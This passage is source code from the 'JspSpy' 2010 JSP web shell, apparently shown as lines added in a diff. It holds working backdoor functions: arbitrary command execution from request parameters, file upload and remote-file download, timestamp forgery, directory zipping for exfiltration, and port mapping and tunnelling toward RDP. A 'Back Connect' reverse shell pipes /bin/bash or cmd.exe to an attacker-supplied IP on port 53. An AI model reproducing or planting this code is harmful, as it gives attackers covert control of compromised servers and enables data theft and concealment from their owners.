"); +if (file instanceof EnterFile) +((EnterFile)file).close(); +} catch (ZipException e) { +JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit."); +throw e; +} catch (Exception e) { +JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +((Invoker)ins.get("vLogin")).invoke(request,response,JSession); +} catch (ClassCastException e) { +JSession.invalidate(); +((Invoker)ins.get("vLogin")).invoke(request,response,JSession); +} catch (Exception e) { + +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName()); +if (f.exists() && f.length() > 0) +JSession.setAttribute(MSG,"Upload File Success!"); +else +JSession.setAttribute("MSG","Upload File Failed!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +InputStream in = null; +Object enter = JSession.getAttribute(ENTER); +if (enter == null) +in = new FileInputStream(new File(src)); +else { +ZipFile zf = new ZipFile((String)enter); +ZipEntry entry = zf.getEntry(src); +in = zf.getInputStream(entry); +} +BufferedInputStream input = new BufferedInputStream(in); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
Copyright (C) 2010 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
"+ +"
"+ +"

Create / Edit File »

"+ +""+ +"

Current File (import new file name and new file)
"+ +"

"+ +"

File Content

"+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String charset = request.getParameter("charset"); +Object enter = JSession.getAttribute(ENTER); +InputStream input = null; +if (enter != null) { +ZipFile zf = new ZipFile((String)enter); +ZipEntry entry = new ZipEntry(path); +input = zf.getInputStream(entry); +} else { +File f = new File(path); +if (!f.exists()) +return; +input = new FileInputStream(path); +} + +BufferedReader reader = null; +if (Util.isEmpty(charset) || charset.equals("ANSI")) +reader = new BufferedReader(new InputStreamReader(input)); +else +reader = new BufferedReader(new InputStreamReader(input,charset)); +StringBuffer content = new StringBuffer(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
"+ +"
"+ +"

Create / Edit File »

"+ +""+ +"

Current File (import new file name and new file)
"+ +"

"+ +"

File Content

"+ +"

"); +if (enter != null) +out.println(""); +else +out.println(""); +out.println("

"+ +"
"+ +"
"); + +} catch (Exception e) { + +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); +String charset = request.getParameter("charset"); +BufferedWriter outs = null; +if (charset.equals("ANSI")) +outs = new BufferedWriter(new FileWriter(new File(path))); +else +outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset)); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File "+(new File(path)).getName()+" With "+charset+" Success!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); + +out.println("
"+ +"
"+ +"

Set File Property »

"+ +"

Current File (FullPath)

"+ +" "+ +"

"+ +" Read "+ +" Write "+ +"

"+ +"

Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

"+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) { +if (ISLINUX) +cmd = "id"; +else +cmd = "cmd.exe /c set"; +} +if (program == null) +program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
"+ +"
"+ +"

Execute Program »

"+ +"

"+ +""+ +""+ +"Parameter
"+ +""+ +"

"+ +"
"+ +"
"+ +"

Execute Shell »

"+ +"

"+ +""+ +""+ +"Parameter
"+ +""+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +((Invoker)ins.get("vs")).invoke(request,response,JSession); +out.println("

"); +out.println("
");
+String command = request.getParameter("command");
+if (!Util.isEmpty(command)) {
+Process pro = Runtime.getRuntime().exec(command);
+BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+String s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
+s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+out.println("
"); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +((Invoker)ins.get("vs")).invoke(request,response,JSession); +} +} +} catch (Exception e) { + +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +InputStream i = null; +Object enter = JSession.getAttribute(ENTER); +String fileName = null; +if (enter == null) { +File f = new File(path); +if (!f.exists()) +return; +fileName = f.getName(); +i = new FileInputStream(f); +} else { +ZipFile zf = new ZipFile((String)enter); +ZipEntry entry = new ZipEntry(path); +fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1); +i = zf.getInputStream(entry); +} +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(i); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { + +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
"+ +"
"+ +"

Remote File DownLoad »

"+ +"

"+ +""+ +"

File   URL: "+ +"

"+ +"

Save Path: "+ +"

"+ +""+ +"

"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); + +File tempF = new File(savePath); +File saveF = tempF; +if (tempF.isDirectory()) { +String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1); +saveF = new File(tempF,fName); +} +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF)); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +((Invoker)ins.get("vd")).invoke(request,response,JSession); +} catch (Exception e) { + +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +((Invoker)ins.get("filelist")).invoke(request,response,JSession); +} catch (Exception e) { + +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME); +} +} catch (Exception e) { + +throw e ; +} +} +} +private static class RemoveDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (int i = 0;i"+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +"

Pack Configuration >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Packed Dir
Save To
Ext Filter"+ +" no Blacklist Whitelist"+ +"
"+ +"
Filesize Filter(KB) "+ +" no greaterthanlessthan
Exclude Dir
"+ +" "+ +"
"+ +"
" +); +} catch (Exception e) { + +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +private boolean config = false; +private String extFilter = "blacklist"; +private String[] fileExts = null; +private String sizeFilter = "no"; +private int filesize = 0; +private String[] exclude = null; +private String packFile = null; +private void reset(){ +this.config = false; +this.extFilter = "blacklist"; +this.fileExts = null; +this.sizeFilter = "no"; +this.filesize = 0; +this.exclude = null; +this.packFile = null; +} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String config = request.getParameter("config"); +if (!Util.isEmpty(config) && config.equals("true")) { +this.config = true; +this.extFilter = request.getParameter("extfilter"); +this.fileExts = request.getParameter("fileext").split(","); +this.sizeFilter = request.getParameter("sizefilter"); +this.filesize = Integer.parseInt(request.getParameter("filesize")); +this.exclude = request.getParameter("exclude").split(","); +} +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +this.packFile = packedFile; +String saveFileName = request.getParameter("savefilename"); +File saveF = null; +if (this.config) +saveF = new File(saveFileName); +else +saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = null; +String base = ""; +if (pF.isDirectory()) { +if (pF.listFiles().length == 0) { +JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty ."); +response.sendRedirect(SHELL_NAME); +this.reset(); +return; +} +zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +zipDir(pF,base,zout); +} else { +zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +zipFile(pF,base,zout); +} +zout.close(); +this.reset(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +if (this.config) { +String curName = f.getAbsolutePath().replace('\\','/'); +curName = curName.replaceAll("\\Q"+this.packFile+"\\E",""); +if (this.exclude != null) { +for (int i = 0;i filesize) +return; +} +} +} +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"UnPack File Success!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); + +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); + +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); + +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

PortMap >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"

Local Ip :"+ +" "+ +"
Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

"+ +" "+ +" "+ +"
"+ +"
"+ +"
"+ +"
"); +String targetIP = request.getParameter("targetIP"); +String targetPort = request.getParameter("targetPort"); +String yourIP = request.getParameter("yourIP"); +String yourPort = request.getParameter("yourPort"); +if (Util.isEmpty(targetIP)) +targetIP = "127.0.0.1"; +if (Util.isEmpty(targetPort)) +targetPort = "3389"; +if (Util.isEmpty(yourIP)) +yourIP = request.getRemoteAddr(); +if (Util.isEmpty(yourPort)) +yourPort = "53"; +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

Port Back >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"

Target Ip :"+ +" "+ +"
Target Port :"+ +" Your Ip :"+ +" Your Port :"+ +"

"+ +" "+ +"
"+ +"
"+ +"
"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +((Invoker)ins.get("vmp")).invoke(request,response,JSession); +} catch (Exception e) { + +throw e ; +} +} +} +//PortBack +private static class PortBackInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String targetIP = request.getParameter("targetIP"); +String targetPort = request.getParameter("targetPort"); +String yourIP = request.getParameter("yourIP"); +String yourPort = request.getParameter("yourPort"); +Socket yourS = new Socket(); +yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort))); +Socket targetS = new Socket(); +targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort))); +StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream())); +StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream())); +JSession.setAttribute("done","Port Back Success !"); +((Invoker)ins.get("vmp")).invoke(request,response,JSession); +} catch (Exception e) { + +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +StreamConnector.readFromLocal(localIn,remoteOut); +StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} + +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +JSession.setAttribute(SESSION_O,"vmp"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "53"; +if (Util.isEmpty(program)) { +if (ISLINUX) +program = "/bin/bash"; +else +program = "cmd.exe"; +} + +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

Back Connect >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

"+ +" "+ +"
"+ +"
"+ +"
"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +JSession.setAttribute(SESSION_O,"vbc"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

System Properties >>

"+ +"
"+ +"
"+ +"
    "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
  • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
  • "); +} +out.println("

System Environment >>


    "); +/* + Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
  • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
  • "); +}*/ +out.println("
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class ReflectInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String c = request.getParameter("Class"); +Class cls = null; +try { +if (!Util.isEmpty(c)) +cls = Class.forName(c); +} catch (ClassNotFoundException ex) { +Util.outMsg(out,"Class "+c+" Not Found ! "); +} +out.println("
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +"

Java Reflect >>

"+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Class Name : "+ +"
"+ +"
"+ +"
"); + +if (cls != null) { +StringBuffer sb = new StringBuffer(); +if (cls.getPackage() != null) +sb.append("package "+cls.getPackage().getName()+";\n"); +String n = null; +if (cls.isInterface()) +n = ""; +//else if (cls.isEnum()) +// n = "enum"; +else +n = "class"; +sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n"); +if (cls.getSuperclass() != null) +sb.append("\textends "+cls.getSuperclass().getName()+"\n"); +if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) { +Class[] faces = cls.getInterfaces(); +sb.append("\t implements "); +for (int i = 0;i"+faces[i].getName()+""); +if (i != faces.length -1) { +sb.append(","); +} +} +} +sb.append("{\n\t\n"); +sb.append("\t//constructors..\n"); +Constructor[] cs = cls.getConstructors(); +for (int i = 0;i"); +if (obj != null) +sb.append(obj.toString()); +else +sb.append("NULL"); + +sb.append(""); +} +sb.append("\n"); +} + +sb.append("\n\t//methods\n"); +Method[] ms = cls.getDeclaredMethods(); +for (int i =0;i")+""; +Util.outMsg(out,m,"left"); +} +} catch (Exception e) { +throw e; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
JspSpy Ver: 2010 "+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+") | copy
Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Java Reflect | "+ +" "+ +" Eval Java Code | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Port Map | "+ +" Others | "+ +" JSP Env "+ +"
